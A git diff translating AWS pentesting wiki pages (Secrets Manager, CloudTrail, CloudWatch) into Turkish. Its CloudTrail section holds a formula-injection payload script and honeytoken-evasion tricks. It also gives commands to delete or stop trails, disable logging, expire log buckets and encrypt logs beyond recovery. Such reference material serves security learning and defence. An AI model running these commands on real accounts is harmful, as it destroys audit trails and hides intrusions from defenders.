**tüm gizli bilgilerin merkezi bir deposu** olarak hizmet verir ve bunların tüm uygulamalar arasında tutarlı bir şekilde yönetilmesini sağlar. -The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions. +Yönetici, **gizli bilgilerin döndürülmesi sürecini** basitleştirir ve veritabanı kimlik bilgileri gibi hassas verilerin güvenlik duruşunu önemli ölçüde iyileştirir. Ayrıca, API anahtarları gibi gizli bilgiler, lambda fonksiyonlarının entegrasyonu ile otomatik olarak döndürülebilir. -The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies. +Gizli bilgilere erişim, ayrıntılı IAM kimlik tabanlı politikalar ve kaynak tabanlı politikalar aracılığıyla sıkı bir şekilde kontrol edilir. -For granting access to secrets to a user from a different AWS account, it's necessary to: +Farklı bir AWS hesabındaki bir kullanıcıya gizli bilgilere erişim vermek için: -1. Authorize the user to access the secret. -2. Grant permission to the user to decrypt the secret using KMS. -3. Modify the Key policy to allow the external user to utilize it. +1. Kullanıcının gizli bilgiye erişimini yetkilendirin. +2. Kullanıcıya gizli bilgiyi KMS kullanarak şifre çözme izni verin. +3. Dış kullanıcının bunu kullanabilmesi için Anahtar politikasını değiştirin. -**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.** +**AWS Secrets Manager, gizli bilgilerinizi AWS Secrets Manager içinde şifrelemek için AWS KMS ile entegre olur.** ### **Enumeration** - ```bash aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions @@ -28,7 +27,6 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` - ### Privesc {{#ref}} @@ -48,7 +46,3 @@ aws secretsmanager get-resource-policy --secret-id --secret-id {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 8348ff098..2dd7d9596 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1,6 +1 @@ -# AWS - Security & Detection Services - - - - - +# AWS - Güvenlik ve Tespit Hizmetleri diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 780f52f6e..bb38a16b1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,111 +4,108 @@ ## **CloudTrail** -AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance. +AWS CloudTrail **AWS ortamınızdaki etkinlikleri kaydeder ve izler**. Tüm AWS kaynaklarıyla etkileşimler için kimin ne yaptığını, ne zaman ve nereden olduğunu içeren ayrıntılı **olay günlüklerini** yakalar. Bu, değişikliklerin ve eylemlerin bir denetim izini sağlar, güvenlik analizi, uyum denetimi ve kaynak değişiklik takibi konusunda yardımcı olur. CloudTrail, kullanıcı ve kaynak davranışını anlamak, güvenlik duruşunu artırmak ve düzenleyici uyumu sağlamak için gereklidir. -Each logged event contains: +Her kaydedilen olay şunları içerir: -- The name of the called API: `eventName` -- The called service: `eventSource` -- The time: `eventTime` -- The IP address: `SourceIPAddress` -- The agent method: `userAgent`. Examples: - - Signing.amazonaws.com - From AWS Management Console - - console.amazonaws.com - Root user of the account - - lambda.amazonaws.com - AWS Lambda -- The request parameters: `requestParameters` -- The response elements: `responseElements` +- Çağrılan API'nin adı: `eventName` +- Çağrılan hizmet: `eventSource` +- Zaman: `eventTime` +- IP adresi: `SourceIPAddress` +- Ajan yöntemi: `userAgent`. Örnekler: +- Signing.amazonaws.com - AWS Yönetim Konsolu'ndan +- console.amazonaws.com - Hesabın kök kullanıcısı +- lambda.amazonaws.com - AWS Lambda +- İstek parametreleri: `requestParameters` +- Yanıt öğeleri: `responseElements` -Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ -CloudTrails logs can be **aggregated across accounts and across regions.**\ -CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ -When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. +Olaylar, **yaklaşık her 5 dakikada bir JSON dosyasında** yeni bir günlük dosyasına yazılır, CloudTrail tarafından tutulur ve nihayetinde günlük dosyaları **yaklaşık 15 dakika sonra S3'e teslim edilir.**\ +CloudTrail günlükleri **hesaplar ve bölgeler arasında birleştirilebilir.**\ +CloudTrail, **günlük dosyası bütünlüğünü kullanarak, günlük dosyalarınızın CloudTrail tarafından size teslim edildiğinden beri değişmediğini doğrulamanıza olanak tanır.** Bir özet dosyası içinde günlüklerin SHA-256 hash'ini oluşturur. Yeni günlüklerin sha-256 hash'i her saat başı oluşturulur.\ +Bir Trail oluştururken, günlüklemek için olay seçicilerini belirtmenize olanak tanır: Yönetim, veri veya içgörü olayları. -Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. +Günlükler bir S3 kovasında saklanır. Varsayılan olarak Sunucu Tarafı Şifreleme (SSE-S3) kullanılır, böylece AWS içeriği erişimi olan kişiler için şifre çözer, ancak ek güvenlik için KMS ile SSE ve kendi anahtarlarınızı kullanabilirsiniz. -The logs are stored in a **S3 bucket with this name format**: +Günlükler, **bu ad formatına sahip bir S3 kovasında** saklanır: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Being the BucketName: **`aws-cloudtrail-logs--`** -- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** +- BucketName: **`aws-cloudtrail-logs--`** +- Örnek: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +Her klasör içinde her günlük, **bu formatı takip eden bir isme sahip olacaktır**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Log File Naming Convention +Günlük Dosyası İsimlendirme Konvansiyonu ![](<../../../../images/image (122).png>) -Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in: +Ayrıca, **dosya bütünlüğünü kontrol etmek için (digest dosyaları)** **aynı kovada** bulunacaktır: ![](<../../../../images/image (195).png>) -### Aggregate Logs from Multiple Accounts +### Birden Fazla Hesaptan Günlükleri Birleştirme -- Create a Trial in the AWS account where you want the log files to be delivered to -- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access -- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1 +- Günlük dosyalarının teslim edileceği AWS hesabında bir Trail oluşturun +- Hedef S3 kovasına, CloudTrail için hesaplar arası erişime izin veren izinler uygulayın ve erişime ihtiyacı olan her AWS hesabına izin verin +- Diğer AWS hesaplarında yeni bir Trail oluşturun ve 1. adımda oluşturulan kovayı kullanmayı seçin -However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account. +Ancak, tüm günlükleri aynı S3 kovasında saklayabilseniz de, birden fazla hesaptan CloudTrail günlüklerini tek bir AWS hesabına ait CloudWatch Günlüklerine birleştiremezsiniz. > [!CAUTION] -> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets. +> Bir hesabın **farklı Trails** CloudTrail **etkin** olabileceğini ve aynı (veya farklı) günlükleri farklı kovalar içinde saklayabileceğini unutmayın. -### Cloudtrail from all org accounts into 1 +### Tüm organizasyon hesaplarından 1'e CloudTrail -When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket: +Bir CloudTrail oluştururken, organizasyondaki tüm hesaplar için cloudtrail'i etkinleştirmek ve günlükleri sadece 1 kovaya almak mümkündür:
-This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect). +Bu şekilde, tüm hesapların tüm bölgelerinde CloudTrail'i kolayca yapılandırabilir ve günlükleri 1 hesapta (korumanız gereken) merkezi hale getirebilirsiniz. -### Log Files Checking - -You can check that the logs haven't been altered by running +### Günlük Dosyalarını Kontrol Etme +Günlüklerin değiştirilmediğini kontrol edebilirsiniz. ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` - ### Logs to CloudWatch -**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +**CloudTrail, şüpheli aktiviteler gerçekleştirildiğinde sizi uyaran uyarılar ayarlayabilmeniz için logları otomatik olarak CloudWatch'a gönderebilir.**\ +CloudTrail'in logları CloudWatch'a gönderebilmesi için bir **rol** oluşturulması gerektiğini unutmayın. Mümkünse, bu işlemleri gerçekleştirmek için AWS varsayılan rolünün kullanılması önerilir. Bu rol, CloudTrail'in: -- CreateLogStream: This allows to create a CloudWatch Logs log streams -- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream +- CreateLogStream: CloudWatch Logs log akışları oluşturmasına izin verir +- PutLogEvents: CloudTrail loglarını CloudWatch Logs log akışına iletmesine izin verir ### Event History -CloudTrail Event History allows you to inspect in a table the logs that have been recorded: +CloudTrail Event History, kaydedilen logları bir tabloda incelemenizi sağlar: ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. +**CloudTrail Insights**, CloudTrail yollarından yazma yönetim olaylarını otomatik olarak **analiz eder** ve size **olağandışı aktiviteler** hakkında **uyarıda bulunur**. Örneğin, belirlenen temel değerlerden farklı olarak `TerminateInstance` olaylarında bir artış varsa, bunu bir Insight olayı olarak göreceksiniz. Bu olaylar, **olağandışı API aktivitelerini bulmayı ve yanıt vermeyi her zamankinden daha kolay hale getirir**. -The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Insights, CloudTrail loglarının bulunduğu aynı bucket'ta saklanır: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Validate if logs have been tampered with (modified or deleted)
  • Uses digest files (create hash for each file)

    • SHA-256 hashing
    • SHA-256 with RSA for digital signing
    • private key owned by Amazon
  • Takes 1 hour to create a digest file (done on the hour every hour)
| +| CloudTrail Log File Integrity |
  • Logların değiştirilip değiştirilmediğini (değiştirilmiş veya silinmiş) doğrulayın
  • Her dosya için hash oluşturmak için digest dosyaları kullanır

    • SHA-256 hashing
    • SHA-256 ile dijital imza için RSA
    • Amazon'a ait özel anahtar
  • Bir digest dosyası oluşturmak 1 saat sürer (her saat başında yapılır)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • Use IAM policies and S3 bucket policies

    • security team —> admin access
    • auditors —> read only access
  • Use SSE-S3/SSE-KMS to encrypt the logs
| -| Prevent log files from being deleted |
  • Restrict delete access with IAM and bucket policies
  • Configure S3 MFA delete
  • Validate with Log File Validation
| +| Stop unauthorized access |
  • IAM politikaları ve S3 bucket politikaları kullanın

    • güvenlik ekibi —> yönetici erişimi
    • denetçiler —> yalnızca okuma erişimi
  • Logları şifrelemek için SSE-S3/SSE-KMS kullanın
| +| Prevent log files from being deleted |
  • IAM ve bucket politikaları ile silme erişimini kısıtlayın
  • S3 MFA silme yapılandırması yapın
  • Log File Validation ile doğrulayın
| ## Access Advisor -AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns. +AWS Access Advisor, içgörülerini toplamak için son 400 günün AWS **CloudTrail loglarına dayanır**. CloudTrail, bir AWS hesabında yapılan AWS API çağrılarının ve ilgili olayların tarihini kaydeder. Access Advisor, bu verileri kullanarak **hizmetlerin en son ne zaman erişildiğini gösterir**. CloudTrail loglarını analiz ederek, Access Advisor bir IAM kullanıcısının veya rolünün hangi AWS hizmetlerine eriştiğini ve bu erişimin ne zaman gerçekleştiğini belirleyebilir. Bu, AWS yöneticilerinin **izinleri iyileştirme** konusunda bilinçli kararlar almasına yardımcı olur; çünkü uzun süre erişilmeyen hizmetleri tanımlayabilir ve gerçek kullanım desenlerine dayalı olarak aşırı geniş izinleri azaltabilirler. > [!TIP] -> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them +> Bu nedenle, Access Advisor **kullanıcılara verilen gereksiz izinler hakkında bilgi verir** böylece yönetici bunları kaldırabilir
## Actions ### Enumeration - ```bash # Get trails info aws cloudtrail list-trails @@ -125,125 +122,113 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` - ### **CSV Injection** -It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\ -The following code will generate log entry with a bad Trail name containing the payload: - +CloudTrail içinde, günlükler CSV formatında dışa aktarıldığında ve Excel ile açıldığında rastgele kodu çalıştıracak bir CVS enjeksiyonu gerçekleştirmek mümkündür.\ +Aşağıdaki kod, yükü içeren kötü bir Trail adıyla günlük girişi oluşturacaktır: ```python import boto3 payload = "=cmd|'/C calc'|''" client = boto3.client('cloudtrail') response = client.create_trail( - Name=payload, - S3BucketName="random" +Name=payload, +S3BucketName="random" ) print(response) ``` - -For more information about CSV Injections check the page: +Daha fazla bilgi için CSV Enjeksiyonları hakkında sayfayı kontrol edin: {{#ref}} https://book.hacktricks.xyz/pentesting-web/formula-injection {{#endref}} -For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) +Bu özel teknik hakkında daha fazla bilgi için [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) adresini kontrol edin. -## **Bypass Detection** +## **Algılama Atlatma** -### HoneyTokens **bypass** +### HoneyTokens **atlatma** -Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key. +Honeytoken'lar, **hassas bilgilerin dışa aktarımını tespit etmek için** oluşturulmuştur. AWS durumunda, bunlar **kullanımı izlenen AWS anahtarlarıdır**, eğer bu anahtarla bir eylem tetiklenirse, o zaman birisi bu anahtarı çalmış olmalıdır. -However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**. +Ancak, [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) tarafından oluşturulan Honeytoken'lar ya tanınabilir hesap adı kullanıyor ya da tüm müşterileri için aynı AWS hesap kimliğini kullanıyor. Bu nedenle, Cloudtrail herhangi bir günlük oluşturmadan hesap adını ve/veya hesap kimliğini alabilirseniz, **anahtarın bir honeytoken olup olmadığını bilebilirsiniz**. -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) bir anahtarın [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**'e ait olup olmadığını tespit etmek için bazı kurallara sahiptir:** -- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message. - - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name. -- If **`SpaceCrab`** appears in the role name in the error message -- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken. +- Eğer **`canarytokens.org`** rol adında görünüyorsa veya hata mesajında **`534261010715`** hesap kimliği görünüyorsa. +- Daha yakın zamanda test ettiğinizde, **`717712589309`** hesabını kullanıyorlar ve hala adında **`canarytokens.com`** dizesi var. +- Eğer hata mesajında rol adında **`SpaceCrab`** görünüyorsa. +- **SpaceSiren**, kullanıcı adları oluşturmak için **uuids** kullanır: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- Eğer **isim rastgele üretilmiş gibi görünüyorsa**, bunun bir HoneyToken olma olasılığı yüksektir. -#### Get the account ID from the Key ID - -You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts: +#### Anahtar Kimliğinden Hesap Kimliğini Alın +**Erişim anahtarının** içindeki **kodlanmış** bilgiden **Hesap Kimliğini** alabilirsiniz, [**burada açıklandığı gibi**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) ve hesap kimliğini Honeytoken AWS hesaplarınızın listesiyle kontrol edebilirsiniz: ```python import base64 import binascii def AWSAccount_from_AWSKeyID(AWSKeyID): - trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix - x = base64.b32decode(trimmed_AWSKeyID) #base32 decode - y = x[0:6] +trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix +x = base64.b32decode(trimmed_AWSKeyID) #base32 decode +y = x[0:6] - z = int.from_bytes(y, byteorder='big', signed=False) - mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) +z = int.from_bytes(y, byteorder='big', signed=False) +mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) - e = (z & mask)>>7 - return (e) +e = (z & mask)>>7 +return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` - Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). -#### Do not generate a log +#### Log Oluşturma -The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**. +Bunun için en etkili teknik aslında basit bir tekniktir. Bulduğunuz anahtarı kullanarak kendi saldırgan hesabınızdaki bir hizmete erişin. Bu, **CloudTrail'in KENDİ AWS hesabınızda bir log oluşturmasını sağlar ve kurbanın hesabında değil**. -The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**. +Sorun şu ki, çıktı, hesap kimliğini ve hesap adını belirten bir hata gösterecektir, böylece **bir Honeytoken olup olmadığını görebileceksiniz**. -#### AWS services without logs +#### Log Olmadan AWS Hizmetleri -In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it. +Geçmişte bazı **AWS hizmetleri CloudTrail'e log göndermiyordu** (buradan [bir liste bulabilirsiniz](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Bu hizmetlerden bazıları, yetkisiz (honeytoken anahtarı) birinin erişmeye çalışması durumunda **anahtar rolünün ARN'sini** içeren bir **hata** ile **yanıt verecektir**. -This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken. +Bu şekilde, bir **saldırgan herhangi bir log tetiklemeksizin anahtarın ARN'sini elde edebilir**. ARN'de saldırgan **AWS hesap kimliğini ve adını** görebilir, bu nedenle HoneyToken'ın şirket hesap kimliklerini ve adlarını bilmek kolaydır, bu şekilde bir saldırgan token'ın bir HoneyToken olup olmadığını belirleyebilir. ![](<../../../../images/image (93).png>) > [!CAUTION] -> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own... +> CloudTrail logu oluşturmayan tüm kamu API'lerinin artık düzeltildiğini unutmayın, bu nedenle kendi API'lerinizi bulmanız gerekebilir... > -> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Daha fazla bilgi için [**orijinal araştırmaya**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/) bakın. -### Accessing Third Infrastructure +### Üçüncü Altyapıya Erişim -Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **won’t use the AWS API**, so CloudTrail won’t be able to see this communication. +Belirli AWS hizmetleri **veritabanları** veya **Kubernetes** kümeleri (EKS) gibi **bazı altyapılar oluşturacaktır**. Bir kullanıcı, bu hizmetlere (Kubernetes API'si gibi) **doğrudan konuştuğunda** **AWS API'sini kullanmayacaktır**, bu nedenle CloudTrail bu iletişimi göremeyecektir. -Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**. +Bu nedenle, EKS'ye erişimi olan bir kullanıcı, EKS API'sinin URL'sini keşfettiğinde, yerel olarak bir token oluşturabilir ve **Cloudtrail tarafından tespit edilmeden API hizmetiyle doğrudan konuşabilir**. -More info in: +Daha fazla bilgi için: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -### Modifying CloudTrail Config - -#### Delete trails +### CloudTrail Yapılandırmasını Değiştirme +#### İzleri Sil ```bash aws cloudtrail delete-trail --name [trail-name] ``` - -#### Stop trails - +#### İzleri Durdur ```bash aws cloudtrail stop-logging --name [trail-name] ``` - -#### Disable multi-region logging - +#### Çok bölge kaydını devre dışı bırakın ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` - -#### Disable Logging by Event Selectors - +#### Olay Seçicileri ile Günlüğü Devre Dışı Bırakma ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -251,30 +236,27 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` +İlk örnekte, tek bir olay seçici, tek bir nesne ile JSON dizisi olarak sağlanmıştır. `"ReadWriteType": "ReadOnly"` ifadesi, **olay seçicinin yalnızca salt okunur olayları yakalaması gerektiğini** belirtir (bu nedenle CloudTrail içgörüleri **örneğin yazma** olaylarını kontrol etmeyecek). -In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example). - -You can customize the event selector based on your specific requirements. - -#### Logs deletion via S3 lifecycle policy +Olay seçiciyi belirli gereksinimlerinize göre özelleştirebilirsiniz. +#### S3 yaşam döngüsü politikası aracılığıyla günlüklerin silinmesi ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` +### Bucket Konfigürasyonunu Değiştirme -### Modifying Bucket Configuration - -- Delete the S3 bucket -- Change bucket policy to deny any writes from the CloudTrail service -- Add lifecycle policy to S3 bucket to delete objects -- Disable the kms key used to encrypt the CloudTrail logs +- S3 bucket'ını sil +- Bucket politikasını CloudTrail hizmetinden gelen yazmaları reddedecek şekilde değiştir +- S3 bucket'ına nesneleri silmek için yaşam döngüsü politikası ekle +- CloudTrail günlüklerini şifrelemek için kullanılan kms anahtarını devre dışı bırak ### Cloudtrail ransomware #### S3 ransomware -You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\ -This is basically a **S3-KMS ransomware** explained in: +**Asimetrik bir anahtar** oluşturabilir ve **CloudTrail'in verileri** o anahtarla şifrelemesini sağlayabilir ve **özel anahtarı** silerek CloudTrail içeriğinin kurtarılamayacağını garanti edebilirsin.\ +Bu temelde **S3-KMS ransomware** olarak açıklanmıştır: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md @@ -282,18 +264,14 @@ This is basically a **S3-KMS ransomware** explained in: **KMS ransomware** -This is an easiest way to perform the previous attack with different permissions requirements: +Bu, önceki saldırıyı farklı izin gereksinimleriyle gerçekleştirmenin en kolay yoludur: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **Referanslar** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0c790b881..405359937 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,143 +4,142 @@ ## CloudWatch -**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\ -CloudWatch Log Event have a **size limitation of 256KB on each log line**.\ -It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications. +**CloudWatch**, izleme ve operasyonel **verileri** günlükler/ölçümler/olaylar şeklinde toplayarak **AWS kaynaklarının**, uygulamalarının ve hizmetlerinin birleşik bir görünümünü sağlar.\ +CloudWatch Log Olaylarının **her günlük satırı için 256KB boyut sınırlaması** vardır.\ +**Yüksek çözünürlüklü alarmlar** ayarlayabilir, **günlükleri** ve **ölçümleri** yan yana görselleştirebilir, otomatik eylemler alabilir, sorunları giderebilir ve uygulamaları optimize etmek için içgörüler keşfedebilirsiniz. -You can monitor for example logs from CloudTrail. Events that are monitored: +Örneğin CloudTrail'den günlükleri izleyebilirsiniz. İzlenen olaylar: -- Changes to Security Groups and NACLs -- Starting, Stopping, rebooting and terminating EC2 instances -- Changes to Security Policies within IAM and S3 -- Failed login attempts to the AWS Management Console -- API calls that resulted in failed authorization -- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- Güvenlik Grupları ve NACL'lerdeki değişiklikler +- EC2 örneklerini başlatma, durdurma, yeniden başlatma ve sonlandırma +- IAM ve S3 içindeki Güvenlik Politikalarındaki değişiklikler +- AWS Yönetim Konsolu'na yapılan başarısız girişim denemeleri +- Başarısız yetkilendirme ile sonuçlanan API çağrıları +- CloudWatch'ta arama yapmak için filtreler: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) -## Key concepts +## Anahtar kavramlar -### Namespaces +### Ad Alanları -A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them. +Bir ad alanı, 